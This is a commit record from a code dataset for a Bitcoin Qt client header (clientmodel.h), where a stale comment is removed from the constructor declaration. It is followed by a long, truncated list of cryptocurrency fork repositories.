{"commit":"3b59297b36f795e7cdaaab74daefa89cee6dd24d","old_file":"src\/qt\/clientmodel.h","new_file":"src\/qt\/clientmodel.h","old_contents":"#ifndef CLIENTMODEL_H\n#define CLIENTMODEL_H\n\n#include <QObject>\n\nclass OptionsModel;\nclass AddressTableModel;\nclass TransactionTableModel;\nclass CWallet;\n\nQT_BEGIN_NAMESPACE\nclass QDateTime;\nQT_END_NAMESPACE\n\n\/\/ Interface to Bitcoin network client\nclass ClientModel : public QObject\n{\n    Q_OBJECT\npublic:\n    \/\/ The only reason that this constructor takes a wallet is because\n    \/\/ the global client settings are stored in the main wallet.\n    explicit ClientModel(OptionsModel *optionsModel, QObject *parent = 0);\n\n    OptionsModel *getOptionsModel();\n\n    int getNumConnections() const;\n    int getNumBlocks() const;\n\n    QDateTime getLastBlockDate() const;\n\n    \/\/ Return true if client connected to testnet\n    bool isTestNet() const;\n    \/\/ Return true if core is doing initial block download\n    bool inInitialBlockDownload() const;\n    \/\/ Return conservative estimate of total number of blocks, or 0 if unknown\n    int getTotalBlocksEstimate() const;\n\n    QString formatFullVersion() const;\n\nprivate:\n    OptionsModel *optionsModel;\n\n    int cachedNumConnections;\n    int cachedNumBlocks;\n\nsignals:\n    void numConnectionsChanged(int count);\n    void numBlocksChanged(int count);\n\n    \/\/ Asynchronous error notification\n    void error(const QString &title, const QString &message);\n\npublic slots:\n\nprivate slots:\n    void update();\n};\n\n#endif \/\/ CLIENTMODEL_H\n","new_contents":"#ifndef CLIENTMODEL_H\n#define CLIENTMODEL_H\n\n#include <QObject>\n\nclass OptionsModel;\nclass AddressTableModel;\nclass TransactionTableModel;\nclass CWallet;\n\nQT_BEGIN_NAMESPACE\nclass QDateTime;\nQT_END_NAMESPACE\n\n\/\/ Interface to Bitcoin network client\nclass ClientModel : public QObject\n{\n    Q_OBJECT\npublic:\n    explicit ClientModel(OptionsModel *optionsModel, QObject *parent = 0);\n\n    OptionsModel *getOptionsModel();\n\n    int getNumConnections() const;\n    int getNumBlocks() const;\n\n    QDateTime getLastBlockDate() const;\n\n    \/\/ Return true if client connected to testnet\n    bool isTestNet() const;\n    \/\/ Return true if core is doing initial block download\n    bool inInitialBlockDownload() const;\n    \/\/ Return conservative estimate of total number of blocks, or 0 if unknown\n    int getTotalBlocksEstimate() const;\n\n    QString formatFullVersion() const;\n\nprivate:\n    OptionsModel *optionsModel;\n\n    int cachedNumConnections;\n    int cachedNumBlocks;\n\nsignals:\n    void numConnectionsChanged(int count);\n    void numBlocksChanged(int count);\n\n    \/\/ Asynchronous error notification\n    void error(const QString &title, const QString &message);\n\npublic slots:\n\nprivate slots:\n    void update();\n};\n\n#endif \/\/ CLIENTMODEL_H\n","subject":"Remove no longer valid comment","message":"Remove no longer valid comment\n","lang":"C","license":"mit","repos":"shomeser\/bitcoin,48thct2jtnf\/P,pataquets\/namecoin-core,andres-root\/bitcoinxt,Bloom-Project\/Bloom,zcoinofficial\/zcoin,jashandeep-sohi\/ppcoin,ericshawlinux\/bitcoin,vlajos\/bitcoin,jonghyeopkim\/bitcoinxt,randy-waterhouse\/bitcoin,ajweiss\/bitcoin,lbrtcoin\/albertcoin,borgcoin\/Borgcoin1,mrbandrews\/bitcoin,CrimeaCoin\/crimeacoin,megacoin\/megacoin,ahmedbodi\/vertcoin,bcpki\/nonce2testblocks,fujicoin\/fujicoin,wangliu\/bitcoin,IOCoin\/DIONS,zemrys\/vertcoin,cyrixhero\/bitcoin,xuyangcn\/opalcoin,ychaim\/smallchange,misdess\/bitcoin,SoreGums\/bitcoinxt,segsignal\/bitcoin,vcoin-project\/vcoin0.8zeta-dev,nailtaras\/nailcoin,bitcoinxt\/bitcoinxt,icook\/vertcoin,Rav3nPL\/doubloons-0.10,tuaris\/bitcoin,penek\/novacoin,droark\/bitcoin,ahmedbodi\/test2,blackcoinhelp\/blackcoin,segwit\/atbcoin-insight,kirkalx\/bitcoin,elecoin\/elecoin,cainca\/liliucoin,oleganza\/bitcoin-duo,mm-s\/bitcoin,litecoin-project\/litecoin,TripleSpeeder\/bitcoin,destenson\/bitcoin--bitcoin,dgarage\/bc3,applecoin-official\/fellatio,knolza\/gamblr,LanaCoin\/lanacoin,CrimeaCoin\/crimeacoin,donaloconnor\/bitcoin,presstab\/PIVX,cheehieu\/bitcoin,Electronic-Gulden-Foundation\/egulden,ahmedbodi\/test2,elliotolds\/bitcoin,effectsToCause\/vericoin,CryptArc\/bitcoinxt,royosherove\/bitcoinxt,valorbit\/valorbit-oss,janko33bd\/bitcoin,djtms\/ltc,TheoremCrypto\/TheoremCoin,united-scrypt-coin-project\/unitedscryptcoin,bitshares\/bitshares-pts,thrasher-\/litecoin,jmgilbert2\/energi,btc1\/bitcoin,ivansib\/sib16,ionomy\/ion,trippysalmon\/bitcoin,jambolo\/bitcoin,greencoin-dev\/GreenCoinV2,vlajos\/bitcoin,gjhiggins\/fuguecoin,1185\/starwels,BlockchainTechLLC\/3dcoin,plncoin\/PLNcoin_Core,dannyperez\/bolivarcoin,dexX7\/bitcoin,Blackcoin\/blackcoin,daeMOn63\/Peershares,TheOncomingStorm\/logincoinadvanced,cyrixhero\/bitcoin,Bloom-Project\/Bloom,metrocoins\/metrocoin,DigiByte-Team\/digibyte,pataquets\/namecoin-core,jtimon\/bitcoin,daveperkins-github\/bitcoin-dev,trippysalmon\/bitcoin,dpayne9000\/Rubixz-Coin,thelazier\/dash,CTRoundTable\/Encrypted.Cash,oklink-dev\/litecoin_block,ryanxcharles\/bitcoin,wcwu\/bitcoin,thrasher-\/litecoin,BigBlueCeiling\/augmentacoin,cerebrus29301\/crowncoin,zottejos\/merelcoin,jamesob\/bitcoin,genavarov\/lamacoin,Jheguy2\/Mercury,111t8e\/bitcoin,wellenreiter01\/Feathercoin,antcheck\/antcoin,memorycoin\/memorycoin,xuyangcn\/opalcoin,goldmidas\/goldmidas,CryptArc\/bitcoin,fsb4000\/bitcoin,Alex-van-der-Peet\/bitcoin,dgarage\/bc2,droark\/elements,som4paul\/BolieC,SmeltFool\/Wonker,IOCoin\/iocoin,gavinandresen\/bitcoin-git,Twyford\/Indigo,Krellan\/bitcoin,gravio-net\/graviocoin,gjhiggins\/vcoincore,untrustbank\/litecoin,riecoin\/riecoin,droark\/elements,sdaftuar\/bitcoin,Climbee\/artcoin,nmarley\/dash,pdrobek\/Polcoin-1-3,world-bank\/unpay-core,alecalve\/bitcoin,WorldLeadCurrency\/WLC,tdudz\/elements,Vsync-project\/Vsync,MoMoneyMonetarism\/ppcoin,metacoin\/florincoin,jlcurby\/NobleCoin,jimblasko\/UnbreakableCoin-master,NicolasDorier\/bitcoin,vcoin-project\/vcoincore,Kixunil\/keynescoin,joulecoin\/joulecoin,AllanDoensen\/BitcoinUnlimited,Checkcoin\/checkcoin,bitcoinsSG\/zcash,marcusdiaz\/BitcoinUnlimited,phelix\/bitcoin,Vsync-project\/Vsync,pinkmagicdev\/SwagBucks,bitjson\/hivemind,NicolasDorier\/bitcoin,coinkeeper\/2015-06-22_19-00_ziftrcoin,EntropyFactory\/creativechain-core,prodigal-son\/blackcoin,Megacoin2\/Megacoin,dgenr8\/bitcoin,Kore-Core\/kore,Magicking\/neucoin,TBoehm\/greedynode,kallewoof\/bitcoin,pinkmagicdev\/SwagBucks,BitzenyCoreDevelopers\/bitzeny,senadmd\/coinmarketwatch,scmorse\/bitcoin,fsb4000\/novacoin,haisee\/dogecoin,lateminer\/DopeCoinGold,digibyte\/digibyte,Xekyo\/bitcoin,bootycoin-project\/bootycoin,bitcoinsSG\/bitcoin,daliwangi\/bitcoin,globaltoken\/globaltoken,FrictionlessCoin\/iXcoin,cheehieu\/bitcoin,welshjf\/bitcoin,Justaphf\/BitcoinUnlimited,ShadowMyst\/creativechain-core,ionomy\/ion,lbryio\/lbrycrd,jtimon\/elements,dmrtsvetkov\/flowercoin,BitcoinHardfork\/bitcoin,likecoin-dev\/bitcoin,ya4-old-c-coder\/yacoin,kirkalx\/bitcoin,CoinGame\/BCEShadowNet,Peerapps\/ppcoin,btcdrak\/bitcoin,coinkeeper\/anoncoin_20150330_fixes,gravio-net\/graviocoin,butterflypay\/bitcoin,TeamBitBean\/bitcoin-core,prark\/bitcoinxt,pocopoco\/yacoin,wcwu\/bitcoin,ColossusCoinXT\/ColossusCoinXT,bitcoinsSG\/bitcoin,isle2983\/bitcoin,koharjidan\/litecoin,coinkeeper\/2015-04-19_21-20_litecoindark,SocialCryptoCoin\/SocialCoin,jlopp\/statoshi,dgarage\/bc2,Crypto-Currency\/BitBar,awemany\/BitcoinUnlimited,zander\/bitcoinclassic,core-bitcoin\/bitcoin,Tetcoin\/tetcoin,DSPay\/DSPay,slingcoin\/sling-market,Bitcoinsulting\/bitcoinxt,haobtc\/bitcoin,REAP720801\/bitcoin,worldbit\/worldbit,BlockchainTechLLC\/3dcoin,5mil\/Tradecoin,domob1812\/i0coin,litecoin-project\/bitcoinomg,keesdewit82\/LasVegasCoin,pstratem\/elements,5mil\/Bolt,balajinandhu\/bitcoin,ahmedbodi\/temp_vert,ptschip\/bitcoinxt,CoinProjects\/AmsterdamCoin-v4,bitjson\/hivemind,genavarov\/ladacoin,jarymoth\/dogecoin,andreaskern\/bitcoin,cinnamoncoin\/groupcoin-1,Infernoman\/crowncoin,lentza\/SuperTurboStake,antonio-fr\/bitcoin,qtumproject\/qtum,mmpool\/coiledcoin,ludbb\/bitcoin,Erkan-Yilmaz\/twister-core,pelorusjack\/BlockDX,mitchellcash\/bitcoin,bitcoinxt\/bitcoinxt,knolza\/gamblr,argentumproject\/argentum,RibbitFROG\/ribbitcoin,shaulkf\/bitcoin,ajweiss\/bitcoin,slimcoin-project\/Slimcoin,Bluejudy\/worldcoin,ftrader-bitcoinabc\/bitcoin-abc,maraoz\/proofcoin,vcoin-project\/vcoincore,pinkmagicdev\/SwagBucks,jimmysong\/bitcoin,mortalvikinglive\/bitcoinclassic,reddcoin-project\/reddcoin,coinkeeper\/terracoin_20150327,jonasnick\/bitcoin,BitcoinHardfork\/bitcoin,matlongsi\/micropay,erqan\/twister-core,Anfauglith\/iop-hd,superjudge\/bitcoin,xawksow\/GroestlCoin,droark\/elements,franko-org\/franko,ddombrowsky\/radioshares,bitbrazilcoin-project\/bitbrazilcoin,ppcoin\/ppcoin,sipa\/bitcoin,tjps\/bitcoin,BTCTaras\/bitcoin,droark\/bitcoin,Mrs-X\/PIVX,sipsorcery\/bitcoin,syscoin\/syscoin,rromanchuk\/bitcoinxt,Someguy123\/novafoil,apoelstra\/bitcoin,langerhans\/dogecoin,coinwarp\/dogecoin,erqan\/twister-core,BlockchainTechLLC\/3dcoin,kryptokredyt\/ProjektZespolowyCoin,cannabiscoindev\/cannabiscoin420,greencoin-dev\/GreenCoinV2,Earlz\/renamedcoin,axelxod\/braincoin,gravio-net\/graviocoin,tedlz123\/Bitcoin,irvingruan\/bitcoin,Checkcoin\/checkcoin,Chancoin-core\/CHANCOIN,Bitcoin-ABC\/bitcoin-abc,cryptcoins\/cryptcoin,ghostlander\/Feathercoin,martindale\/elements,dev1972\/Satellitecoin,iQcoin\/iQcoin,maraoz\/proofcoin,TheOncomingStorm\/logincoinadvanced,vericoin\/vericoin-core,shouhuas\/bitcoin,vertcoin\/vertcoin,174high\/bitcoin,alexandrcoin\/vertcoin,Open-Source-Coins\/EZ,Anoncoin\/anoncoin,GeekBrony\/ponycoin-old,franko-org\/franko,aspanta\/bitcoin,wangliu\/bitcoin,BTCDDev\/bitcoin,redfish64\/nomiccoin,wangliu\/bitcoin,botland\/bitcoin,gjhiggins\/vcoin0.8zeta-dev,roques\/bitcoin,bitcoin-hivemind\/hivemind,BlockchainTechLLC\/3dcoin,ahmedbodi\/bytecoin,ftrader-bitcoinabc\/bitcoin-abc,crowning-\/dash,OfficialTitcoin\/titcoin-wallet,Domer85\/dogecoin,Kcoin-project\/kcoin,acid1789\/bitcoin,dpayne9000\/Rubixz-Coin,ravenbyron\/phtevencoin,gjhiggins\/fuguecoin,Rav3nPL\/doubloons-0.10,ahmedbodi\/Bytecoin-MM,mikehearn\/bitcoin,Crowndev\/crowncoin,jarymoth\/dogecoin,torresalyssa\/bitcoin,FuzzyBearBTC\/Peershares-1,jaromil\/faircoin2,simonmulser\/bitcoin,NunoEdgarGub1\/elements,Alonzo-Coeus\/bitcoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,mycointest\/owncoin,jonasnick\/bitcoin,Rav3nPL\/polcoin,tecnovert\/particl-core,okcashpro\/okcash,shurcoin\/shurcoin,projectinterzone\/ITZ,bitcoinxt\/bitcoinxt,wiggi\/huntercore,GIJensen\/bitcoin,Earlz\/dobbscoin-source,iadix\/iadixcoin,AquariusNetwork\/ARCOv2,inutoshi\/inutoshi,Dinarcoin\/dinarcoin,ArgonToken\/ArgonToken,Stakemaker\/OMFGcoin,FuzzyBearBTC\/Peerunity,psionin\/smartcoin,haraldh\/bitcoin,borgcoin\/Borgcoin.rar,loxal\/zcash,elambert2014\/cbx2,pstratem\/bitcoin,ajweiss\/bitcoin,jamesob\/bitcoin,gazbert\/bitcoin,ryanofsky\/bitcoin,RyanLucchese\/energi,xuyangcn\/opalcoin,kallewoof\/bitcoin,emc2foundation\/einsteinium,nmarley\/dash,oklink-dev\/litecoin_block,NateBrune\/bitcoin-nate,ohac\/sakuracoin,Paymium\/bitcoin,misdess\/bitcoin,Xekyo\/bitcoin,domob1812\/i0coin,xieta\/mincoin,fsb4000\/bitcoin,worldbit\/worldbit,mb300sd\/bitcoin,AkioNak\/bitcoin,accraze\/bitcoin,spiritlinxl\/BTCGPU,OstlerDev\/florincoin,metacoin\/florincoin,shouhuas\/bitcoin,Sjors\/bitcoin,ptschip\/bitcoin,coinkeeper\/2015-06-22_18-37_dogecoin,akabmikua\/flowcoin,BTCfork\/hardfork_prototype_1_mvf-core,Bitcoinsulting\/bitcoinxt,kirkalx\/bitcoin,gandrewstone\/bitcoinxt,okcashpro\/okcash,coinwarp\/dogecoin,xurantju\/bitcoin,SocialCryptoCoin\/SocialCoin,bitgoldcoin-project\/bitgoldcoin,48thct2jtnf\/P,world-bank\/unpay-core,rsdevgun16e\/energi,vtafaucet\/virtacoin,FuzzyBearBTC\/Peershares,knolza\/gamblr,CryptArc\/bitcoin,faircoin\/faircoin,coinkeeper\/2015-04-19_21-20_litecoindark,cinnamoncoin\/groupcoin-1,FeatherCoin\/Feathercoin,dagurval\/bitcoinxt,vtafaucet\/virtacoin,sugruedes\/bitcoin,Vsync-project\/Vsync,ALEXIUMCOIN\/alexium,appop\/bitcoin,StarbuckBG\/BTCGPU,MOIN\/moin,funkshelper\/woodcoin-b,Darknet-Crypto\/Darknet,gandrewstone\/bitcoinxt,bitshares\/bitshares-pts,itmanagerro\/tresting,landcoin-ldc\/landcoin,JeremyRubin\/bitcoin,TheBlueMatt\/bitcoin,kirkalx\/bitcoin,willwray\/dash,memorycoin\/memorycoin,elliotolds\/bitcoin,Ziftr\/Peerunity,nigeriacoin\/nigeriacoin,constantine001\/bitcoin,bcpki\/nonce2,thesoftwarejedi\/bitcoin,inkvisit\/sarmacoins,Kogser\/bitcoin,landcoin-ldc\/landcoin,misdess\/bitcoin,ClusterCoin\/ClusterCoin,alejandromgk\/Lunar,Enticed87\/Decipher,kaostao\/bitcoin,cheehieu\/bitcoin,Anfauglith\/iop-hd,tedlz123\/Bitcoin,GlobalBoost\/GlobalBoost,lordsajan\/erupee,faircoin\/faircoin,projectinterzone\/ITZ,slimcoin-project\/Slimcoin,CarpeDiemCoin\/CarpeDiemLaunch,bitcoinplusorg\/xbcwalletsource,HashUnlimited\/Einsteinium-Unlimited,apoelstra\/elements,united-scrypt-coin-project\/unitedscryptcoin,majestrate\/twister-core,BTCGPU\/BTCGPU,creath\/barcoin,netswift\/vertcoin,nanocoins\/mycoin,MeshCollider\/bitcoin,elambert2014\/novacoin,jakeva\/bitcoin-pwcheck,Cocosoft\/bitcoin,steakknife\/bitcoin-qt,slingcoin\/sling-market,genavarov\/lamacoin,degenorate\/Deftcoin,pinheadmz\/bitcoin,alexwaters\/Bitcoin-Testing,miguelfreitas\/twister-core,ronpaulcoin\/ronpaulcoin,applecoin-official\/applecoin,bitcoinknots\/bitcoin,coblee\/litecoin-old,zander\/bitcoinclassic,GwangJin\/gwangmoney-core,Electronic-Gulden-Foundation\/egulden,daveperkins-github\/bitcoin-dev,gcc64\/bitcoin,guncoin\/guncoin,coinerd\/krugercoin,faircoin\/faircoin,crowning2\/dash,Alonzo-Coeus\/bitcoin,hophacker\/bitcoin_malleability,jimblasko\/UnbreakableCoin-master,Domer85\/dogecoin,Tetcoin\/tetcoin,Bloom-Project\/Bloom,metrocoins\/metrocoin,Justaphf\/BitcoinUnlimited,joroob\/reddcoin,mruddy\/bitcoin,fussl\/elements,KibiCoin\/kibicoin,marcusdiaz\/BitcoinUnlimited,ahmedbodi\/vertcoin,Charlesugwu\/Vintagecoin,rdqw\/sscoin,iQcoin\/iQcoin,kleetus\/bitcoin,plncoin\/PLNcoin_Core,ronpaulcoin\/ronpaulcoin,bitcoinknots\/bitcoin,alexandrcoin\/vertcoin,coinkeeper\/2015-06-22_18-41_ixcoin,genavarov\/ladacoin,GlobalBoost\/GlobalBoost,chrisfranko\/aiden,kseistrup\/twister-core,antonio-fr\/bitcoin,metacoin\/florincoin,11755033isaprimenumber\/Feathercoin,BTCfork\/hardfork_prototype_1_mvf-bu,AsteraCoin\/AsteraCoin,wangxinxi\/litecoin,phorensic\/yacoin,Ziftr\/bitcoin,jimmykiselak\/lbrycrd,Kenwhite23\/litecoin,Cloudsy\/bitcoin,mortalvikinglive\/bitcoinlight,SoreGums\/bitcoinxt,tatafiore\/mycoin,ychaim\/smallchange,xuyangcn\/opalcoin,my-first\/octocoin,21E14\/bitcoin,bitcoinplusorg\/xbcwalletsource,joroob\/reddcoin,jimblasko\/UnbreakableCoin-master,oklink-dev\/bitcoin,dashpay\/dash,okinc\/litecoin,koharjidan\/litecoin,my-first\/octocoin,guncoin\/guncoin,experiencecoin\/experiencecoin,ftrader-bitcoinabc\/bitcoin-abc,gjhiggins\/vcoin0.8zeta-dev,stronghands\/stronghands,digibyte\/digibyte,isocolsky\/bitcoinxt,hasanatkazmi\/bitcoin,cryptodev35\/icash,CoinBlack\/bitcoin,terracoin\/terracoin,acid1789\/bitcoin,inutoshi\/inutoshi,Kangmo\/bitcoin,presstab\/PIVX,ahmedbodi\/terracoin,BTCDDev\/bitcoin,wangxinxi\/litecoin,Twyford\/Indigo,bitcoinsSG\/bitcoin,x-kalux\/bitcoin_WiG-B,mikehearn\/bitcoinxt,Credit-Currency\/CoinTestComp,ashleyholman\/bitcoin,theuni\/bitcoin,ajtowns\/bitcoin,capitalDIGI\/DIGI-v-0-10-4,valorbit\/valorbit-oss,irvingruan\/bitcoin,Horrorcoin\/horrorcoin,bitcoinsSG\/bitcoin,globaltoken\/globaltoken,Peerunity\/Peerunity,habibmasuro\/bitcoin,iadix\/iadixcoin,gorgoy\/novacoin,Diapolo\/bitcoin,destenson\/bitcoin--bitcoin,IOCoin\/iocoin,chaincoin\/chaincoin,thelazier\/dash,cryptocoins4all\/zcoin,apoelstra\/elements,coinkeeper\/2015-06-22_18-31_bitcoin,phelix\/namecore,metrocoins\/metrocoin,renatolage\/wallets-BRCoin,CoinProjects\/AmsterdamCoin-v4,nbenoit\/bitcoin,gades\/novacoin,megacoin\/megacoin,reddcoin-project\/reddcoin,tecnovert\/particl-core,metacoin\/florincoin,ionomy\/ion,pinkevich\/dash,cddjr\/BitcoinUnlimited,Kefkius\/clams,llamasoft\/ProtoShares_Cycle,dgarage\/bc2,bitchip\/bitchip,tobeyrowe\/KitoniaCoin,AquariusNetwork\/ARCO,kryptokredyt\/ProjektZespolowyCoin,janko33bd\/bitcoin,mincoin-project\/mincoin,koltcoin\/koltcoin,benosa\/bitcoin,fsb4000\/novacoin,ardsu\/bitcoin,btc1\/bitcoin,AkioNak\/bitcoin,ajtowns\/bitcoin,5mil\/Tradecoin,1185\/starwels,cqtenq\/Feathercoin,Anfauglith\/iop-hd,particl\/particl-core,jnewbery\/bitcoin,174high\/bitcoin,sickpig\/BitcoinUnlimited,Mrs-X\/PIVX,Electronic-Gulden-Foundation\/egulden,thodg\/ppcoin,arnuschky\/bitcoin,ptschip\/bitcoinxt,coinkeeper\/2015-06-22_18-56_megacoin,Metronotes\/bitcoin,shaulkf\/bitcoin,ppcoin\/ppcoin,core-bitcoin\/bitcoin,5mil\/Tradecoin,wcwu\/bitcoin,goldmidas\/goldmidas,Theshadow4all\/ShadowCoin,thelazier\/dash,world-bank\/unpay-core,antonio-fr\/bitcoin,prodigal-son\/blackcoin,deuscoin\/deuscoin,anditto\/bitcoin,stamhe\/novacoin,unsystemizer\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,Rav3nPL\/doubloons-08,sbellem\/bitcoin,Ziftr\/litecoin,IlfirinIlfirin\/shavercoin,theuni\/bitcoin,novacoin-project\/novacoin,ShadowMyst\/creativechain-core,SartoNess\/BitcoinUnlimited,Tetcoin\/tetcoin,ctwiz\/stardust,thunderrabbit\/clams,micryon\/GPUcoin,EntropyFactory\/creativechain-core,cddjr\/BitcoinUnlimited,cqtenq\/feathercoin_core,bdelzell\/creditcoin-org-creditcoin,lbrtcoin\/albertcoin,Kogser\/bitcoin,Jeff88Ho\/bitcoin,leofidus\/glowing-octo-ironman,ardsu\/bitcoin,jmgilbert2\/energi,antcheck\/antcoin,faircoin\/faircoin2,roques\/bitcoin,franko-org\/franko,kleetus\/bitcoin,pinkevich\/dash,Rav3nPL\/PLNcoin,marscoin\/marscoin,oklink-dev\/bitcoin_block,collapsedev\/circlecash,p2peace\/oliver-twister-core,habibmasuro\/bitcoinxt,Tetpay\/bitcoin,vbernabe\/freicoin,thunderrabbit\/clams,matlongsi\/micropay,tdudz\/elements,MikeAmy\/bitcoin,nomnombtc\/bitcoin,instagibbs\/bitcoin,StarbuckBG\/BTCGPU,raasakh\/bardcoin,TheBlueMatt\/bitcoin,brishtiteveja\/sherlockholmescoin,Petr-Economissa\/gvidon,wtogami\/bitcoin,Rimbit\/Wallets,Electronic-Gulden-Foundation\/egulden,ripper234\/bitcoin,dexX7\/mastercore,mb300sd\/bitcoin,cryptohelper\/premine,arnuschky\/bitcoin,nailtaras\/nailcoin,okinc\/bitcoin,coinkeeper\/terracoin_20150327,deeponion\/deeponion,shouhuas\/bitcoin,odemolliens\/bitcoinxt,VsyncCrypto\/Vsync,FuzzyBearBTC\/Peershares,Geekcoin-Project\/Geekcoin,SandyCohen\/mincoin,mm-s\/bitcoin,FuzzyBearBTC\/Fuzzyshares,antonio-fr\/bitcoin,senadmd\/coinmarketwatch,coinkeeper\/2015-06-22_19-00_ziftrcoin,coinkeeper\/2015-06-22_18-36_darkcoin,ekankyesme\/bitcoinxt,xXDavasXx\/Davascoin,florincoin\/florincoin,truthcoin\/truthcoin-cpp,RHavar\/bitcoin,jashandeep-sohi\/ppcoin,erikYX\/yxcoin-FIRST,NeuCoin\/neucoin,dogecoin\/dogecoin,AquariusNetwork\/ARCO,CoinBlack\/blackcoin,zotherstupidguy\/bitcoin,coinkeeper\/2015-06-22_18-39_feathercoin,keisercoin-official\/keisercoin,cryptohelper\/premine,shouhuas\/bitcoin,celebritycoin\/investorcoin,habibmasuro\/bitcoin,blood2\/bloodcoin-0.9,yacoin\/yacoin,FuzzyBearBTC\/Peershares,coinkeeper\/2015-06-22_18-31_bitcoin,blocktrail\/bitcoin,Christewart\/bitcoin,ElementsProject\/elements,BitzenyCoreDevelopers\/bitzeny,balajinandhu\/bitcoin,mrtexaznl\/mediterraneancoin,Richcoin-Project\/RichCoin,brandonrobertz\/namecoin-core,cotner\/bitcoin,brandonrobertz\/namecoin-core,cqtenq\/feathercoin_core,kallewoof\/elements,cannabiscoindev\/cannabiscoin420,applecoin-official\/fellatio,syscoin\/syscoin,kaostao\/bitcoin,shomeser\/bitcoin,ediston\/energi,gcc64\/bitcoin,AquariusNetwork\/ARCOv2,riecoin\/riecoin,AquariusNetwork\/ARCO,dexX7\/bitcoin,qreatora\/worldcoin-v0.8,namecoin\/namecoin-core,applecoin-official\/fellatio,CryptArc\/bitcoinxt,JeremyRand\/namecore,VsyncCrypto\/Vsync,zestcoin\/ZESTCOIN,qubitcoin-project\/QubitCoinQ2C,mikehearn\/bitcoinxt,prusnak\/bitcoin,cddjr\/BitcoinUnlimited,coinkeeper\/2015-06-22_18-36_darkcoin,tobeyrowe\/BitStarCoin,byncoin-project\/byncoin,ForceMajeure\/BitPenny-Client-0.4.0.1,GreenParhelia\/bitcoin,DGCDev\/argentum,DigitalPandacoin\/pandacoin,odemolliens\/bitcoinxt,cqtenq\/feathercoin_core,gcc64\/bitcoin,fsb4000\/bitcoin,joshrabinowitz\/bitcoin,oklink-dev\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,butterflypay\/bitcoin,MikeAmy\/bitcoin,coinkeeper\/2015-06-22_18-51_vertcoin,midnight-miner\/LasVegasCoin,xurantju\/bitcoin,pevernon\/picoin,therealaltcoin\/altcoin,IlfirinIlfirin\/shavercoin,vbernabe\/freicoin,Ziftr\/bitcoin,parvez3019\/bitcoin,nvmd\/bitcoin,collapsedev\/cashwatt,lentza\/SuperTurboStake,djpnewton\/bitcoin,EthanHeilman\/bitcoin,sigmike\/peercoin,cculianu\/bitcoin-abc,vlajos\/bitcoin,Krellan\/bitcoin,therealaltcoin\/altcoin,patricklodder\/dogecoin,patricklodder\/dogecoin,jul2711\/jucoin,TeamBitBean\/bitcoin-core,bitcoin-hivemind\/hivemind,untrustbank\/litecoin,CryptArc\/bitcoin,simdeveloper\/bitcoin,joulecoin\/joulecoin,blackcoinhelp\/blackcoin,privatecoin\/privatecoin,neuroidss\/bitcoin,puticcoin\/putic,antcheck\/antcoin,fanquake\/bitcoin,kevin-cantwell\/crunchcoin,josephbisch\/namecoin-core,leofidus\/glowing-octo-ironman,truthcoin\/truthcoin-cpp,Friedbaumer\/litecoin,coinkeeper\/anoncoin_20150330_fixes,Gazer022\/bitcoin,jrmithdobbs\/bitcoin,gades\/novacoin,cannabiscoindev\/cannabiscoin420,dmrtsvetkov\/flowercoin,21E14\/bitcoin,tatafiore\/mycoin,nathaniel-mahieu\/bitcoin,jarymoth\/dogecoin,BitcoinHardfork\/bitcoin,kigooz\/smalltestnew,erikYX\/yxcoin-FIRST,octocoin-project\/octocoin,joulecoin\/joulecoin,SoreGums\/bitcoinxt,bcpki\/bitcoin,okinc\/litecoin,zixan\/bitcoin,irvingruan\/bitcoin,gfneto\/Peershares,Rav3nPL\/bitcoin,cotner\/bitcoin,bitpay\/bitcoin,cqtenq\/Feathercoin,ajweiss\/bitcoin,iadix\/iadixcoin,bitcoinknots\/bitcoin,som4paul\/BolieC,effectsToCause\/vericoin,truthcoin\/truthcoin-cpp,Electronic-Gulden-Foundation\/egulden,BeirdoMud\/MudCoin,coinwarp\/dogecoin,habibmasuro\/bitcoinxt,valorbit\/valorbit,Christewart\/bitcoin,experiencecoin\/experiencecoin,ahmedbodi\/test2,ya4-old-c-coder\/yacoin,truthcoin\/truthcoin-cpp,wbchen99\/bitcoin-hnote0,borgcoin\/Borgcoin.rar,goldcoin\/Goldcoin-GLD,metacoin\/florincoin,magacoin\/magacoin,Matoking\/bitcoin,icook\/vertcoin,jlcurby\/NobleCoin,MOIN\/moin,aspirecoin\/aspire,unsystemizer\/bitcoin,174high\/bitcoin,omefire\/bitcoin,joroob\/reddcoin,KnCMiner\/bitcoin,3lambert\/Molecular,benma\/bitcoin,syscoin\/syscoin,Bluejudy\/worldcoin,ludbb\/bitcoin,practicalswift\/bitcoin,plncoin\/PLNcoin_Core,XertroV\/bitcoin-nulldata,dopecoin-dev\/DopeCoinGold,FuzzyBearBTC\/Peershares2,putinclassic\/putic,Infernoman\/crowncoin,megacoin\/megacoin,CodeShark\/bitcoin,octocoin-project\/octocoin,borgcoin\/Borgcoin.rar,Crowndev\/crowncoin,OfficialTitcoin\/titcoin-wallet,nbenoit\/bitcoin,wederw\/bitcoin,uphold\/bitcoin,domob1812\/i0coin,Sjors\/bitcoin,droark\/elements,jn2840\/bitcoin,Matoking\/bitcoin,Rav3nPL\/doubloons-08,TheSeven\/ppcoin,cqtenq\/Feathercoin,IOCoin\/DIONS,TierNolan\/bitcoin,UASF\/bitcoin,coinkeeper\/2015-06-22_19-13_florincoin,nathan-at-least\/zcash,bfroemel\/smallchange,coinkeeper\/2015-06-22_18-30_anoncoin,mortalvikinglive\/bitcoinlight,ravenbyron\/phtevencoin,marlengit\/hardfork_prototype_1_mvf-bu,Stakemaker\/OMFGcoin,mockcoin\/mockcoin,Peershares\/Peershares,faircoin\/faircoin2,bitjson\/hivemind,Bitcoin-ABC\/bitcoin-abc,FarhanHaque\/bitcoin,BenjaminsCrypto\/Benjamins-1,DrCrypto\/darkcoin,bitpagar\/bitpagar,ya4-old-c-coder\/yacoin,grumpydevelop\/singularity,GroestlCoin\/GroestlCoin,FeatherCoin\/Feathercoin,webdesignll\/coin,error10\/bitcoin,myriadcoin\/myriadcoin,elliotolds\/bitcoin,sipa\/elements,starwels\/starwels,Kogser\/bitcoin,fullcoins\/fullcoin,brishtiteveja\/sherlockcoin,Dinarcoin\/dinarcoin,andres-root\/bitcoinxt,maaku\/bitcoin,thrasher-\/litecoin,thunderrabbit\/clams,midnightmagic\/bitcoin,isle2983\/bitcoin,penek\/novacoin,uphold\/bitcoin,phelix\/bitcoin,coinkeeper\/2015-06-22_18-45_peercoin,Kenwhite23\/litecoin,pouta\/bitcoin,bickojima\/bitzeny,Har01d\/bitcoin,sugruedes\/bitcoin,ghostlander\/Orbitcoin,